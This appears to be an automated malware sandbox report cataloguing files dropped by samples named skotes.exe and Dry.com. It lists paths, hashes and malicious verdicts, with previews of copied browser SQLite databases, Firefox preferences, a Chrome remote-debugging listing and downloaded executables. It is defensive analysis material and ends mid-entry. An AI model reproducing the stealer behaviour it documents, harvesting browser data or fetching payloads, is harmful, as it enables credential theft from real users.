SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\79HDJ5FK6F37\FU3EKN

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\79HDJ5FK6F37\GLFCJE

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\79HDJ5FK6F37\H4ECB16P8

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\79HDJ5FK6F37\Q90R9H

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\79HDJ5FK6F37\QIMYUK

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073554664910692
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr+:KooCEYhgYEL0In
MD5:	577D9ADE94A56DBB27C3ED3279B1FA08
SHA1:	24D394FA37A78050721D941FC5688B712EC4096C
SHA-256:	61F596D782DC9970D12CA647C1CDB2AC7757C7C99C71EEC63BEE3EA5512E63C7
SHA-512:	4B962C21FF6C59E7DACE17CD4D506EADE730A4FC62DB42D5FA95197359EBBCBF9E653D4C15D8E66C6AD19453BA2BE37610845E76192D394796BBDB58D3A0E35D
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x27aa29d4, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.422142263490394
Encrypted:	false
SSDEEP:	1536:xrXSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1w:Zaza/vMUM2Uvz7DO
MD5:	0E9B2CD1B07FC142C60137B2328647C3
SHA1:	B018FF54306532C61953A0402AE810C0240E6BA2
SHA-256:	B4A11104B23230B90983F34D5EC2DB9BE4F95D24B035B4C89494915EE6878E22
SHA-512:	C3435A0C2F40E38D3F243E198617436058360FF692731426A74C0FD41F33ED68E8BC708D258CE8BB8AC691BAD4B2AAA9F0897F9D64E9776271DCBFB34638F479
Malicious:	false
Preview:	'.).... .......A.......X\...;...{......................0.!..........{A.2....\|I.h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{..................................^.zz2....\|...................j..2....\|i..........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07747480827339415
Encrypted:	false
SSDEEP:	3:VtlyYeguCCjn13a/1R3g1ollcVO/lnlZMxZNQl:v8z/53qH3geOewk
MD5:	6A6F937B06B577C5FF2B5C96DC859639
SHA1:	6109E218E08F989A17EA988F992226DBE9F341D4
SHA-256:	95637D771694CC710F0F3475BF6E0CB35BD2BDC3B78C908CB4987F0B492E4F85
SHA-512:	C0C6310A90A9CDBECC87B13D287BD140E09E86C15704D1F4AD5E33EDFDFB092A0F76619C660952C47153AD62D7668AC95C667BDAA0625A16EC19D59E72208BD8
Malicious:	false
Preview:	1)'......................................;...{..2....\|i......{A..............{A......{A..........{A].................j..2....\|i.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\d59846009d.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1019254001\d59846009d.exe
File Type:	CSV text
Category:	modified
Size (bytes):	1058
Entropy (8bit):	5.356262093008712
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeR:MxHKlYHKh3owH8tHo6hAHKzeR
MD5:	B2EFBF032531DD2913F648E75696B0FD
SHA1:	3F1AC93E4C10AE6D48E6CE1745D23696FD6554F6
SHA-256:	4E02B680F9DAB8F04F2443984B5305541F73B52A612129FCD8CC0C520C831E4B
SHA-512:	79430DB7C12536BDC06F21D130026A72F97BB03994CE2F718F82BB9ACDFFCA926F1292100B58B0C788BDDF739E87965B8D46C8F003CF5087F75BEFDC406295BC
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\json[1].json

Download File

Process:	C:\Users\user\AppData\Local\Temp\245347\Dry.com
File Type:	JSON data
Category:	dropped
Size (bytes):	1267
Entropy (8bit):	5.339088496950714
Encrypted:	false
SSDEEP:	24:OBfNaoCbFINePKllDChBfNaoCvnTDBYpDCvtBfNaoC22eh1UCk:SfNaoCZTECPfNaoCECTfNaoCYICk
MD5:	75ADFFD68E2F0BCF415BF1AC3B692798
SHA1:	4F7A220BF8AEAFE0067473213EF768DAED04FE30
SHA-256:	A183F130E58F72F43A07F66E9BBA089463493D69FD66AD1780FD32E55BE7FBD2
SHA-512:	0C08E5B16ACBC8CD6800059264DB34F83E86C93F1BF90AA1FB7CD8D0BBD6C48FA97D996E29F51799AE2C8F1781EA1C78DCDBB1369F3576808F47EC9DFB9076D8
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/F21853A58730C79DFD15225F2C91E1A1",.. "id": "F21853A58730C79DFD15225F2C91E1A1",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/F21853A58730C79DFD15225F2C91E1A1"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/D3920F438D559D91A35AF457FB1DB7EA",.. "id": "D3920F438D559D91A35AF457FB1DB7EA",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/D3920F438D559D91A35AF457FB1DB7EA"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	863093
Entropy (8bit):	7.96744840145825
Encrypted:	false
SSDEEP:	24576:qWryjPGki4+5vfHU3fYFy664hRvRKMU+Et:1+FQVUPA/v8MhQ
MD5:	8EB4F92605E35C57A42B0917C221D65C
SHA1:	0E64D77EF1B917B3AFE512B49710250C71369175
SHA-256:	B57D78D93F74F7AE840AB03D3FDA4F22A24AD35AFCF9A53128CF82A92A67A085
SHA-512:	4CC5DB426C8DE3D7AFDCFA26440D5BD9A885F5148E4307B8D04C5D56C96672D5C82ED9989BF346CE7AECEA07D980735C46A930B885F824BA53738AC76DBB05BF
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 8%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8............@..........................p............@.................................@............R...............$...`.......................................................................................text....r.......t.................. ..`.rdata..n+.......,...x..............@..@.data....+..........................@....ndata...................................rsrc....R.......T..................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	5.338206717136569
Encrypted:	false
SSDEEP:	384:78HIRrJs1HLBDhq5RWBNBlBThtq2uoyLizwxeNLHdWuNMV275RtAcL8SFS69rvwM:Qqls1HLBDhIRWbXlq2uVk75RuSFSm6EJ
MD5:	04F57C6FB2B2CD8DCC4B38E4A93D4366
SHA1:	61770495AA18D480F70B654D1F57998E5BD8C885
SHA-256:	51E4D0CBC184B8ABFA6D84E219317CF81BD542286A7CC602C87EB703A39627C2
SHA-512:	53F95E98A5ECA472ED6B1DFD6FECD1E28EA66967A1B3AA109FE911DBB935F1ABF327438D4B2FE72CF7A0201281E9F56F4548F965B96E3916B9142257627E6CCD
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 57%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f.7..........."...0..L...........j... ........@.. ....................................`.................................<j..O....................................i..8............................................ ............... ..H............text....J... ...L.................. ..`.rsrc................N..............@..@.reloc...............T..............@..B................pj......H.......(7...2...........................................................0..8.......s/.....(....} .....}!.....}.....\| .....(...+.\| ...(.....0..P........~.........,B.r...p(.....r...p(.....(.....r...p.(....(......(....o......(.......0..8.......s2.....(....}(.....}).....}'....\|(.....(...+.\|(...(.....0..H........s......./......+....~.....~.....io.........X.......-.r...p.(......+....0............r...p( ...o!....+.....0............r...p( ...o!....+.....0..2.........r...pr...p

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4490240
Entropy (8bit):	7.983785476322999
Encrypted:	false
SSDEEP:	98304:YTYUOgxUXnyMw6UXR5sCWeI6zQpxjPlUj/Wlfa68l2syVu5P03+y6:YROgxWyP62zfWePQpZPliEShlhF0
MD5:	BC9903CD12A6B359C28E16021909CCB3
SHA1:	1B444289D8DF7755F1D779B9862C8E4995EE6D55
SHA-256:	072E228BF10D03818ED7869A52BDC386D0BD437923044FB98E2A29AE2FF4591A
SHA-512:	40DBE8FE4C2BBB7E1328C1DC4D39F81430FCEC995E383703F90AAA48132ED8B01E291F581056EB5812DE0B10E483E6E9936CA2A579FAE0B2587088C49F13F7D9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.VH...v..2...........pH...@...................................E...@... ............................._pt.s....`t.....................T....................................................................................... . .Pt......L(.................@....rsrc........`t......\(.............@....idata .....pt......^(.............@... . 9...t......`(.............@...ibyjowhj.............b(.............@...mvafozls.............^D.............@....taggant.0......."...bD.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1933824
Entropy (8bit):	7.941114026043109
Encrypted:	false
SSDEEP:	49152:xLkAYjZUegNcJLsmkLvcD0WfM+bDycqelTng:x0hgNALsRvaDy2
MD5:	8F99D6A86BB1B60441B2D0824B2F8A16
SHA1:	BDBA27CA8AC199579268260535B2A90A88C63B3B
SHA-256:	4360FBED2A0CFCAAECAB2A478478A2266FE8DF65BFB9FC2876BBDB91FF1ADD46
SHA-512:	30A2F0A07521E61877A8A05A17DAF9C378435CAA17B42993827D1421A8C57D94E75F97BD3DAA582207B1B2874D4F5E70A4CF476F556F39C66BCD6EEFC7AD8430
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i...........nG@.....ZR.....ZC.....ZU.................Z\.....ZB.....ZG....Rich...................PE..L....,.e.....................@....................@................................w.......................................[.A.o.....@.....................................................0....................................................... . ..@......N..................@....rsrc.........@..p...^..............@....idata ......A.....................@... .p)...A.....................@...ctmelatg......k.....................@...qkclmkgb.............Z..............@....taggant.0......."...`..............@...........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	1374720
Entropy (8bit):	7.0671827674657335
Encrypted:	false
SSDEEP:	24576:fYlZH+uQDPYLZtPikfLyXFD3qRc4f6GO4k88P9VB77Ml8fmMxHr:fYu7DPYLZtakzyVD3ELCh//+8fmW
MD5:	669ED3665495A4A52029FF680EC8EBA9
SHA1:	7785E285365A141E307931CA4C4EF00B7ECC8986
SHA-256:	2D2D405409B128EEA72A496CCFF0ED56F9ED87EE2564AE4815B4B116D4FB74D6
SHA-512:	BEDC8F7C1894FC64CDD00EBC58B434B7D931E52C198A0FA55F16F4E3D44A7DC4643EAA78EC55A43CC360571345CD71D91A64037A135663E72EED334FE77A21E6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 28%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....h.D..........&....&..........................@..........................p......\U....@... ..............................P..........,l.......................c...................................................T...............................text...............................`..`.data...H...........................@....rdata..............................@..@.eh_fram............p..............@..@.bss....4....@...........................idata.......P......................@....CRT....8....p.......$..............@....tls.................&..............@....rsrc...,l.......n...(..............@..@.reloc...c.......d..................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 87%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	4453888
Entropy (8bit):	7.9841088854185385
Encrypted:	false
SSDEEP:	98304:T0q2MBSf+wXfQWt+8yZ16Et0z2aNZBic77d/Y64TjVEtb9J/hnLt:xBKZXb+dZ1x06a/sc7J3CjVEt9PL
MD5:	2B39BC094A36C474DEA04D0BB8E22356
SHA1:	115E4F12506C0FDF4DB9B19C94E526040C94CF02
SHA-256:	6BC9AE5B97C21197DBEC153F9D9420D7C5976ECF5AD1A40449474C019006DB98
SHA-512:	D466BF292E13795FE636B39C77A58A03C3DDDA5CA4DD26A00DB7268F2C12EEFB9874B8E3342C31AA2066C017B02F1B86C5A984E5327D5487C2EDA4CFA3D98871
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....cg...............(.JI..Lu..2...........`I...@...................................D...@... ............................._.r.s.....r.....................h....................................................................................... . ..r......4(.................@....rsrc.........r......D(.............@....idata ......r......F(.............@... ..8...r......H(.............@...qutbxpsa.....@.......J(.............@...alacpqgy..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[3].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1589248
Entropy (8bit):	7.956123637947375
Encrypted:	false
SSDEEP:	49152:43kWrm0Yjk4WxbLewDfybGetKP40JNwWZcn:fDCC0ybntKP1jZW
MD5:	1D781800DAABF2AD44B26BA3F85D40F7
SHA1:	D3A0D2CA511F5FF45574A77B96A72FD6A93D11B6
SHA-256:	16D50F3F75A8E8CA2153BFE97D39E938D0DC821823D66455C38281A386696730
SHA-512:	B46A0E06DD5B3A704946098937DADD366A2F0974800272A1344778F26B230B301F1AA0A3356C6D1A5A527B1E238FA16AF63374B2DDB83F65CB4182CB1BAE9DDE
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................I...........@..........................@I......k....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... . *..@.......\..............@...npsrnsek.....`/......^..............@...lghaogpm......I.....................@....taggant.0....I.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	2232
Entropy (8bit):	5.379789352637408
Encrypted:	false
SSDEEP:	48:yWSU4xympgv4RIoUP7gZ9tK8NPZHUx7u1iMugeC/ZPUyus:yLHxv2IfLZ2KRH6Oug8s
MD5:	23455EBC441C9C14AC7CB3DF3A748B80
SHA1:	79713CD1944296D67E05B717AEE8A1C898CCAB2C
SHA-256:	D6AC317E50006D528E12B831E5A3EF9EED1297AFE11B006A13104095B660FE6C
SHA-512:	A7BF08DC6B42526E326976D8B9B88EE6C2259332310910D49716AD33685FD8BA80FFC48167F92C2B491CE833ECF8D8D1DB689F41322DBE09F1480D5446E4C987
Malicious:	false
Preview:	@...e................................................@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..4.....................@.[8]'.\........System.Data.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServicesL.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\1019250001\01d781eb0f.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	863093
Entropy (8bit):	7.96744840145825
Encrypted:	false
SSDEEP:	24576:qWryjPGki4+5vfHU3fYFy664hRvRKMU+Et:1+FQVUPA/v8MhQ
MD5:	8EB4F92605E35C57A42B0917C221D65C
SHA1:	0E64D77EF1B917B3AFE512B49710250C71369175
SHA-256:	B57D78D93F74F7AE840AB03D3FDA4F22A24AD35AFCF9A53128CF82A92A67A085
SHA-512:	4CC5DB426C8DE3D7AFDCFA26440D5BD9A885F5148E4307B8D04C5D56C96672D5C82ED9989BF346CE7AECEA07D980735C46A930B885F824BA53738AC76DBB05BF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................t.......B...8............@..........................p............@.................................@............R...............$...`.......................................................................................text....r.......t.................. ..`.rdata..n+.......,...x..............@..@.data....+..........................@....ndata...................................rsrc....R.......T..................@..@.reloc.......`......................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1019251001\d208a35154.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
